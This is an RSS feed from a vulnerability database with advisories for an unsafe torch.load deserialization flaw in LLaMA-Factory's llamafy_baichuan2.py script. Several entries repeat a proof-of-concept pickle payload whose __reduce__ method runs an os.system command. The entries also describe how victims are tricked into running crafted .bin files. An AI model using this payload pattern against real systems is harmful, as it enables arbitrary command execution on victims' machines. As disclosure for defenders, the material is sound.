<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 02:39:08 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2025-46567</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2025-46567</link>
      <description>&lt;p&gt;LLama Factory enables fine-tuning of large language models. Prior to version 1.0.0, a critical vulnerability exists in the `llamafy_baichuan2.py` script of the LLaMA-Factory project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. This issue has been patched in version 1.0.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;LLama Factory enables fine-tuning of large language models. Prior to version 1.0.0, a critical vulnerability exists in the `llamafy_baichuan2.py` script of the LLaMA-Factory project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. This issue has been patched in version 1.0.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2025-46567</guid>
    </item>
    <item>
      <title>GHSA-f2f7-gj54-6vpv — LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-f2f7-gj54-6vpv</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: llamafactory&lt;/p&gt;
&lt;p&gt;### Description&lt;/p&gt;
&lt;p&gt;A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.&lt;/p&gt;
&lt;p&gt;### Attack Vector&lt;/p&gt;
&lt;p&gt;This vulnerability is **exploitable without authentication or privileges** when a user is tricked into:&lt;/p&gt;
&lt;p&gt;1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).
2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.&lt;/p&gt;
&lt;p&gt;No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;- Arbitrary command execution (RCE)
- System compromise
- Persistence or lateral movement in shared compute environments&lt;/p&gt;
&lt;p&gt;### Proof of Concept (PoC)&lt;/p&gt;
&lt;p&gt;```python
# malicious_payload.py
import torch, pickle, os&lt;/p&gt;
&lt;p&gt;class MaliciousPayload:
    def __reduce__(self):
        return (os.system, (&amp;#34;mkdir HACKED!&amp;#34;,))  # Arbitrary command&lt;/p&gt;
&lt;p&gt;malicious_data = {
    &amp;#34;v_head.summary.weight&amp;#34;: MaliciousPayload(),
    &amp;#34;v_head.summary.bias&amp;#34;: torch.randn(10)
}&lt;/p&gt;
&lt;p&gt;with open(&amp;#34;value_head.bin&amp;#34;, &amp;#34;wb&amp;#34;) as f:
    pickle.dump(malicious_data, f)
```&lt;/p&gt;
&lt;p&gt;An example of `config.json`:&lt;/p&gt;
&lt;p&gt;```json
{
  &amp;#34;model&amp;#34;: &amp;#34;value_head.bin&amp;#34;,…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: llamafactory&lt;/p&gt;
&lt;p&gt;### Description&lt;/p&gt;
&lt;p&gt;A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.&lt;/p&gt;
&lt;p&gt;### Attack Vector&lt;/p&gt;
&lt;p&gt;This vulnerability is **exploitable without authentication or privileges** when a user is tricked into:&lt;/p&gt;
&lt;p&gt;1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).
2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.&lt;/p&gt;
&lt;p&gt;No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;- Arbitrary command execution (RCE)
- System compromise
- Persistence or lateral movement in shared compute environments&lt;/p&gt;
&lt;p&gt;### Proof of Concept (PoC)&lt;/p&gt;
&lt;p&gt;```python
# malicious_payload.py
import torch, pickle, os&lt;/p&gt;
&lt;p&gt;class MaliciousPayload:
    def __reduce__(self):
        return (os.system, (&amp;#34;mkdir HACKED!&amp;#34;,))  # Arbitrary command&lt;/p&gt;
&lt;p&gt;malicious_data = {
    &amp;#34;v_head.summary.weight&amp;#34;: MaliciousPayload(),
    &amp;#34;v_head.summary.bias&amp;#34;: torch.randn(10)
}&lt;/p&gt;
&lt;p&gt;with open(&amp;#34;value_head.bin&amp;#34;, &amp;#34;wb&amp;#34;) as f:
    pickle.dump(malicious_data, f)
```&lt;/p&gt;
&lt;p&gt;An example of `config.json`:&lt;/p&gt;
&lt;p&gt;```json
{
  &amp;#34;model&amp;#34;: &amp;#34;value_head.bin&amp;#34;,…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-f2f7-gj54-6vpv</guid>
    </item>
    <item>
      <title>PYSEC-2026-1574 — LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py</title>
      <link>https://vulnerability.circl.lu/vuln/pysec-2026-1574</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: llamafactory&lt;/p&gt;
&lt;p&gt;### Description&lt;/p&gt;
&lt;p&gt;A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.&lt;/p&gt;
&lt;p&gt;### Attack Vector&lt;/p&gt;
&lt;p&gt;This vulnerability is **exploitable without authentication or privileges** when a user is tricked into:&lt;/p&gt;
&lt;p&gt;1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).
2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.&lt;/p&gt;
&lt;p&gt;No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;- Arbitrary command execution (RCE)
- System compromise
- Persistence or lateral movement in shared compute environments&lt;/p&gt;
&lt;p&gt;### Proof of Concept (PoC)&lt;/p&gt;
&lt;p&gt;```python
# malicious_payload.py
import torch, pickle, os&lt;/p&gt;
&lt;p&gt;class MaliciousPayload:
    def __reduce__(self):
        return (os.system, (&amp;#34;mkdir HACKED!&amp;#34;,))  # Arbitrary command&lt;/p&gt;
&lt;p&gt;malicious_data = {
    &amp;#34;v_head.summary.weight&amp;#34;: MaliciousPayload(),
    &amp;#34;v_head.summary.bias&amp;#34;: torch.randn(10)
}&lt;/p&gt;
&lt;p&gt;with open(&amp;#34;value_head.bin&amp;#34;, &amp;#34;wb&amp;#34;) as f:
    pickle.dump(malicious_data, f)
```&lt;/p&gt;
&lt;p&gt;An example of `config.json`:&lt;/p&gt;
&lt;p&gt;```json
{
  &amp;#34;model&amp;#34;: &amp;#34;value_head.bin&amp;#34;,…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: llamafactory&lt;/p&gt;
&lt;p&gt;### Description&lt;/p&gt;
&lt;p&gt;A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization.&lt;/p&gt;
&lt;p&gt;### Attack Vector&lt;/p&gt;
&lt;p&gt;This vulnerability is **exploitable without authentication or privileges** when a user is tricked into:&lt;/p&gt;
&lt;p&gt;1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo).
2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow.&lt;/p&gt;
&lt;p&gt;No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`.&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;- Arbitrary command execution (RCE)
- System compromise
- Persistence or lateral movement in shared compute environments&lt;/p&gt;
&lt;p&gt;### Proof of Concept (PoC)&lt;/p&gt;
&lt;p&gt;```python
# malicious_payload.py
import torch, pickle, os&lt;/p&gt;
&lt;p&gt;class MaliciousPayload:
    def __reduce__(self):
        return (os.system, (&amp;#34;mkdir HACKED!&amp;#34;,))  # Arbitrary command&lt;/p&gt;
&lt;p&gt;malicious_data = {
    &amp;#34;v_head.summary.weight&amp;#34;: MaliciousPayload(),
    &amp;#34;v_head.summary.bias&amp;#34;: torch.randn(10)
}&lt;/p&gt;
&lt;p&gt;with open(&amp;#34;value_head.bin&amp;#34;, &amp;#34;wb&amp;#34;) as f:
    pickle.dump(malicious_data, f)
```&lt;/p&gt;
&lt;p&gt;An example of `config.json`:&lt;/p&gt;
&lt;p&gt;```json
{
  &amp;#34;model&amp;#34;: &amp;#34;value_head.bin&amp;#34;,…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/pysec-2026-1574</guid>
    </item>
  </channel>
</rss>
